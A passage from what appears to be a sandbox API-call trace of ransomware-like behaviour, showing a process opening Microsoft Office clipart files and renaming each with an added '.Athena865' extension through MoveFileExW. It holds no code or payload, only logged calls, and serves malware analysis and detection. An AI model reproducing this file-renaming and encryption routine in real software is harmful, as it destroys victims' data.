dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.340] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17854) returned 1 [0124.346] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101856.BMP" | out: lpString1="J0101856.BMP") returned="J0101856.BMP" [0124.346] lstrlenW (lpString="J0101856.BMP") returned 12 [0124.346] lstrlenW (lpString="Athena865") returned 9 [0124.346] lstrcmpiW (lpString1="01856.BMP", lpString2="Athena865") returned -1 [0124.347] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.Athena865") returned 73 [0124.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.athena865"), dwFlags=0x1) returned 1 [0124.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.349] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=78840) returned 1 [0124.356] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101857.BMP" | out: lpString1="J0101857.BMP") returned="J0101857.BMP" [0124.356] lstrlenW (lpString="J0101857.BMP") returned 12 [0124.356] lstrlenW (lpString="Athena865") returned 9 [0124.356] lstrcmpiW (lpString1="01857.BMP", lpString2="Athena865") returned -1 [0124.356] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.Athena865") returned 73 [0124.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.athena865"), dwFlags=0x1) returned 1 [0124.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.358] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0124.362] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101858.BMP" | out: lpString1="J0101858.BMP") returned="J0101858.BMP" [0124.362] lstrlenW (lpString="J0101858.BMP") returned 12 [0124.362] lstrlenW (lpString="Athena865") returned 9 [0124.362] lstrcmpiW (lpString1="01858.BMP", lpString2="Athena865") returned -1 [0124.362] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.Athena865") returned 73 [0124.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.athena865"), dwFlags=0x1) returned 1 [0124.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.364] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0124.371] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101859.BMP" | out: lpString1="J0101859.BMP") returned="J0101859.BMP" [0124.371] lstrlenW (lpString="J0101859.BMP") returned 12 [0124.371] lstrlenW (lpString="Athena865") returned 9 [0124.371] lstrcmpiW (lpString1="01859.BMP", lpString2="Athena865") returned -1 [0124.371] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.Athena865") returned 73 [0124.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.athena865"), dwFlags=0x1) returned 1 [0124.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.372] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0124.376] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101860.BMP" | out: lpString1="J0101860.BMP") returned="J0101860.BMP" [0124.376] lstrlenW (lpString="J0101860.BMP") returned 12 [0124.376] lstrlenW (lpString="Athena865") returned 9 [0124.376] lstrcmpiW (lpString1="01860.BMP", lpString2="Athena865") returned -1 [0124.376] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.Athena865") returned 73 [0124.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.athena865"), dwFlags=0x1) returned 1 [0124.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.378] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0124.382] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101861.BMP" | out: lpString1="J0101861.BMP") returned="J0101861.BMP" [0124.382] lstrlenW (lpString="J0101861.BMP") returned 12 [0124.382] lstrlenW (lpString="Athena865") returned 9 [0124.382] lstrcmpiW (lpString1="01861.BMP", lpString2="Athena865") returned -1 [0124.382] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.Athena865") returned 73 [0124.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.athena865"), dwFlags=0x1) returned 1 [0124.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.384] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0124.389] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101862.BMP" | out: lpString1="J0101862.BMP") returned="J0101862.BMP" [0124.389] lstrlenW (lpString="J0101862.BMP") returned 12 [0124.389] lstrlenW (lpString="Athena865") returned 9 [0124.389] lstrcmpiW (lpString1="01862.BMP", lpString2="Athena865") returned -1 [0124.389] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.Athena865") returned 73 [0124.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.athena865"), dwFlags=0x1) returned 1 [0124.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.390] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0124.395] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101863.BMP" | out: lpString1="J0101863.BMP") returned="J0101863.BMP" [0124.395] lstrlenW (lpString="J0101863.BMP") returned 12 [0124.395] lstrlenW (lpString="Athena865") returned 9 [0124.395] lstrcmpiW (lpString1="01863.BMP", lpString2="Athena865") returned -1 [0124.395] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.Athena865") returned 73 [0124.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.athena865"), dwFlags=0x1) returned 1 [0124.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.396] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0124.401] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101864.BMP" | out: lpString1="J0101864.BMP") returned="J0101864.BMP" [0124.401] lstrlenW (lpString="J0101864.BMP") returned 12 [0124.401] lstrlenW (lpString="Athena865") returned 9 [0124.401] lstrcmpiW (lpString1="01864.BMP", lpString2="Athena865") returned -1 [0124.401] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.Athena865") returned 73 [0124.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.athena865"), dwFlags=0x1) returned 1 [0124.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.403] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0124.406] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101865.BMP" | out: lpString1="J0101865.BMP") returned="J0101865.BMP" [0124.407] lstrlenW (lpString="J0101865.BMP") returned 12 [0124.407] lstrlenW (lpString="Athena865") returned 9 [0124.407] lstrcmpiW (lpString1="01865.BMP", lpString2="Athena865") returned -1 [0124.407] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.Athena865") returned 73 [0124.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.athena865"), dwFlags=0x1) returned 1 [0124.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.409] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0124.414] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101866.BMP" | out: lpString1="J0101866.BMP") returned="J0101866.BMP" [0124.414] lstrlenW (lpString="J0101866.BMP") returned 12 [0124.414] lstrlenW (lpString="Athena865") returned 9 [0124.414] lstrcmpiW (lpString1="01866.BMP", lpString2="Athena865") returned -1 [0124.414] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.Athena865") returned 73 [0124.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.athena865"), dwFlags=0x1) returned 1 [0124.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.416] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32184) returned 1 [0124.420] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101867.BMP" | out: lpString1="J0101867.BMP") returned="J0101867.BMP" [0124.420] lstrlenW (lpString="J0101867.BMP") returned 12 [0124.421] lstrlenW (lpString="Athena865") returned 9 [0124.421] lstrcmpiW (lpString1="01867.BMP", lpString2="Athena865") returned -1 [0124.421] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.Athena865") returned 73 [0124.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.athena865"), dwFlags=0x1) returned 1 [0124.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.422] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32616) returned 1 [0124.427] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0101980.WMF" | out: lpString1="J0101980.WMF") returned="J0101980.WMF" [0124.427] lstrlenW (lpString="J0101980.WMF") returned 12 [0124.427] lstrlenW (lpString="Athena865") returned 9 [0124.427] lstrcmpiW (lpString1="01980.WMF", lpString2="Athena865") returned -1 [0124.428] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.Athena865") returned 73 [0124.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.athena865"), dwFlags=0x1) returned 1 [0124.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.429] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16104) returned 1 [0124.434] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0102002.WMF" | out: lpString1="J0102002.WMF") returned="J0102002.WMF" [0124.434] lstrlenW (lpString="J0102002.WMF") returned 12 [0124.434] lstrlenW (lpString="Athena865") returned 9 [0124.434] lstrcmpiW (lpString1="02002.WMF", lpString2="Athena865") returned -1 [0124.434] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.Athena865") returned 73 [0124.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.athena865"), dwFlags=0x1) returned 1 [0124.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.435] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15988) returned 1 [0124.441] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0102594.WMF" | out: lpString1="J0102594.WMF") returned="J0102594.WMF" [0124.441] lstrlenW (lpString="J0102594.WMF") returned 12 [0124.441] lstrlenW (lpString="Athena865") returned 9 [0124.441] lstrcmpiW (lpString1="02594.WMF", lpString2="Athena865") returned -1 [0124.441] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.Athena865") returned 73 [0124.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.athena865"), dwFlags=0x1) returned 1 [0124.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.443] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27000) returned 1 [0124.446] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0102762.WMF" | out: lpString1="J0102762.WMF") returned="J0102762.WMF" [0124.446] lstrlenW (lpString="J0102762.WMF") returned 12 [0124.446] lstrlenW (lpString="Athena865") returned 9 [0124.446] lstrcmpiW (lpString1="02762.WMF", lpString2="Athena865") returned -1 [0124.446] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.Athena865") returned 73 [0124.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.athena865"), dwFlags=0x1) returned 1 [0124.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.448] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11216) returned 1 [0124.451] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0102984.WMF" | out: lpString1="J0102984.WMF") returned="J0102984.WMF" [0124.451] lstrlenW (lpString="J0102984.WMF") returned 12 [0124.451] lstrlenW (lpString="Athena865") returned 9 [0124.451] lstrcmpiW (lpString1="02984.WMF", lpString2="Athena865") returned -1 [0124.451] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.Athena865") returned 73 [0124.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.athena865"), dwFlags=0x1) returned 1 [0124.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.498] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17040) returned 1 [0124.501] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0103058.WMF" | out: lpString1="J0103058.WMF") returned="J0103058.WMF" [0124.501] lstrlenW (lpString="J0103058.WMF") returned 12 [0124.501] lstrlenW (lpString="Athena865") returned 9 [0124.501] lstrcmpiW (lpString1="03058.WMF", lpString2="Athena865") returned -1 [0124.502] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.Athena865") returned 73 [0124.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.athena865"), dwFlags=0x1) returned 1 [0124.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.503] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17344) returned 1 [0124.506] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0103262.WMF" | out: lpString1="J0103262.WMF") returned="J0103262.WMF" [0124.506] lstrlenW (lpString="J0103262.WMF") returned 12 [0124.506] lstrlenW (lpString="Athena865") returned 9 [0124.506] lstrcmpiW (lpString1="03262.WMF", lpString2="Athena865") returned -1 [0124.506] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.Athena865") returned 73 [0124.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.athena865"), dwFlags=0x1) returned 1 [0124.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.508] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12900) returned 1 [0124.511] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0103402.WMF" | out: lpString1="J0103402.WMF") returned="J0103402.WMF" [0124.511] lstrlenW (lpString="J0103402.WMF") returned 12 [0124.511] lstrlenW (lpString="Athena865") returned 9 [0124.511] lstrcmpiW (lpString1="03402.WMF", lpString2="Athena865") returned -1 [0124.511] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.Athena865") returned 